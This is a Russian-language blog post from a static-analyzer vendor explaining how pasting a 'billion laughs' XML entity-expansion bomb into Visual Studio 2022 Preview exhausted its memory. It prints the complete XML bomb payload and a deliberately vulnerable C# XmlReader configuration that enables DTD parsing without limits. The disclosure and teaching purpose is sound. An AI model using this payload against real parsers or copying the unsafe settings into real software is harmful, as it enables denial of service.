В апреле 2021 года Microsoft анонсировала новую версию своей IDE – Visual Studio 2022, попутно объявив, что она будет 64-битной. Сколько мы этого ждали — больше никаких ограничений по памяти в 4 Гб! Однако, как оказалось, есть нюансы...
Кстати, если вы пропустили, вот ссылка на тот пост с анонсом.
Но вернёмся к нашему вопросу из заголовка. Я воспроизвёл эту проблему на последней доступной на момент написания заметки версии Visual Studio 2022 Preview — 17.0.0 Preview 3.1.
Для воспроизведения достаточно:
- создать проект пустого решения (шаблон Blank Solution);
- добавить в него XML-файл.
После этого в созданный XML-файл нужно попробовать скопировать следующий текст:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
<!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
<!ENTITY lol11
"&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;&lol10;">
<!ENTITY lol12
"&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;&lol11;">
<!ENTITY lol13
"&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;&lol12;">
<!ENTITY lol14
"&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;&lol13;">
<!ENTITY lol15
"&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;&lol14;">
]>
<lolz>&lol15;</lolz>Теперь идём заваривать кофе, возвращаемся и наблюдаем за тем, как Visual Studio отжирает всё больше и больше ОЗУ.
Могут возникнуть 2 вопроса:
- Зачем делать какие-то странные XML и добавлять их в проекты?
- Что здесь вообще происходит?
Что ж, давайте разбираться. Для этого нам нужно будет вспомнить, какие опасности может нести неаккуратная обработка XML-файлов, а также узнать, как со всем этим связан статический анализатор PVS-Studio.
SAST в PVS-Studio
Мы продолжаем активно развивать PVS-Studio как SAST решение. Если говорить про C# анализатор, то основной фокус по этому фронту – поддержка OWASP Top 10 2017 (последняя доступная на данный момент версия – с нетерпением ждём обновления). К слову, если вы пропустили, не так давно мы добавили taint анализ, о чём можно почитать здесь.
Собственно, для тестирования работы анализатора я и создал (точнее, попытался создать) соответствующий синтетический проект. Дело в том, что одна из категорий OWASP Top 10, над которой сейчас ведётся работа, – A4:2017-XML External Entities (XXE). Она затрагивает уязвимость приложений к различным атакам посредством неправильной обработки XML-файлов. Что подразумевается под неправильной обработкой? Например, излишнее доверие к входным данным (извечная проблема многих уязвимостей) и отсутствие должных ограничений в парсерах XML.
В итоге, если файлы окажутся скомпрометированы, это может вылиться в разные неприятные последствия. Здесь можно выделить 2 основные проблемы: раскрытие каких-то данных и отказ в обслуживании. Обе имеют соответствующие CWE:
- CWE-611: Improper Restriction of XML External Entity Reference
- CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
CWE-611 оставим на другой раз, сегодня нас интересует CWE-776.
XML бомбы (billion laughs attack)
Я поясню только основную суть проблемы. Если у вас есть желание изучить проблему глубже – топик легко гуглится, не обессудьте.
Стандарт XML предусматривает использование DTD (document type definition). DTD даёт возможность использовать так называемые XML-сущности.
Синтаксис определения сущностей прост:
<!ENTITY myEntity "Entity value">Получить значение сущности в дальнейшем можно следующим образом:
&myEntity;Нюанс состоит в том, что сущности могут раскрываться не только в строки (как в нашем случае — "Entity value"), но и в последовательности других сущностей. Например:
<!ENTITY lol "lol">
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">В итоге при раскрытии сущности 'lol1' мы получим строку следующего вида:
lollollollollollollollollollolМожно пойти дальше и определить сущность 'lol2', раскрыв её уже через 'lol1':
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">Тогда при раскрытии одной лишь сущности 'lol2' мы получим следующий выхлоп:
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollolПогрузимся на уровень ниже и определим сущность 'lol3'?
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">Выхлоп при её раскрытии:
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
lollollollollollollollollollollollollollollollollollollollollollollollol
....Собственно, сгенерированный по такому принципу XML-файл мы и использовали в начале статьи. Думаю, теперь понятно, откуда название "billion laughs". Получается, что если XML-парсер настроен неправильно (обрабатывает DTD и не имеет ограничений на максимальный размер сущностей), то при обработке подобной 'бомбы' ничего хорошего не случится.
Если говорить про C#, уязвимый код проще всего продемонстрировать на примере типа XmlReader:
var pathToXmlBomb = @"D:XMLBomb.xml";
XmlReaderSettings rs = new XmlReaderSettings()
{
DtdProcessing = DtdProcessing.Parse,
MaxCharactersFromEntities = 0
};
using var reader = XmlReader.Create(File.OpenRead(pathToXmlBomb), rs);
while (reader.Read())
{
if (reader.NodeType == XmlNodeType.Text)
Console.WriteLine(reader.Value);
}Сконфигурировав экземпляр XmlReader подобным образом, вы как бы говорите злоумышленнику этим кодом: "Давай, подорви меня!".
Причины две:
- разрешена обработка DTD;
- снято ограничение на максимальное количество символов из сущностей, то есть разрастание файла никак не ограничено.
По умолчанию, кстати, обработка DTD сущностей запрещена: свойство DtdProcessing имеет значение Prohibit, а на максимальное количество символов из сущностей стоит ограничение (начиная с .NET Framework 4.5.2). Так что в современном .NET всё меньше возможностей прострелить себе ногу. Хотя при неаккуратном конфигурировании парсеров это всё ещё возможно.
Возвращаясь к Visual Studio 2022
Похоже, что в Visual Studio 2022 при копировании нашей XML бомбы сработали как раз оба условия:
- запустилась обработка DTD;
- не стояло никаких ограничений, из-за чего объём потребляемой памяти пробил потолок.
Если посмотреть, что происходит в процессе в это время, можно найти подтверждение нашим предположениям.
В списке потоков видно, что основной поток как раз обрабатывает XML. К слову, из-за этого повис весь GUI и IDE никак не реагировала на попытки потыкать её палочкой.
Если посмотреть call stack потока VS Main, можно увидеть, что он как раз занят обработкой DTD (исполняется метод ParseDtd).
В ходе экспериментов у меня возник вопрос: а зачем Visual Studio вообще запускает процессинг DTD, почему просто не отображает XML как есть? Ответ пришёл в ходе экспериментов с 'XML-бомбочкой' (суть та же, но нагрузка поменьше).
Похоже, всё дело в том, чтобы отображать в редакторе "на лету" возможные значения сущностей.
Небольшие значения обрабатываются успешно, но разрастание XML приводит к проблемам.
Конечно, такая проблема не могла обойтись без написания мной баг-репорта.
Заключение
Вот так неожиданным образом удалось посмотреть, как на практике могут выглядеть уязвимости к XML-бомбам. Самое интересное, что удалось пощупать это не на каком-то абстрактном примере, а на вполне знакомом и популярном приложении.
Мы планируем добавить поиск кода, уязвимого к проблемам обработки XML-файлов, в PVS-Studio 7.15. Если же интересно посмотреть, что анализатор умеет уже сейчас, предлагаю загрузить его и попробовать на своих проектах. ;)
Как всегда, приглашаю подписываться на мой Twitter, чтобы не пропустить ничего интересного.
Если хотите поделиться этой статьей с англоязычной аудиторией, то прошу использовать ссылку на перевод: Sergey Vasiliev. How Visual Studio 2022 ate up 100 GB of memory and what XML bombs had to do with it.
Автор: Sergey Vasiliev
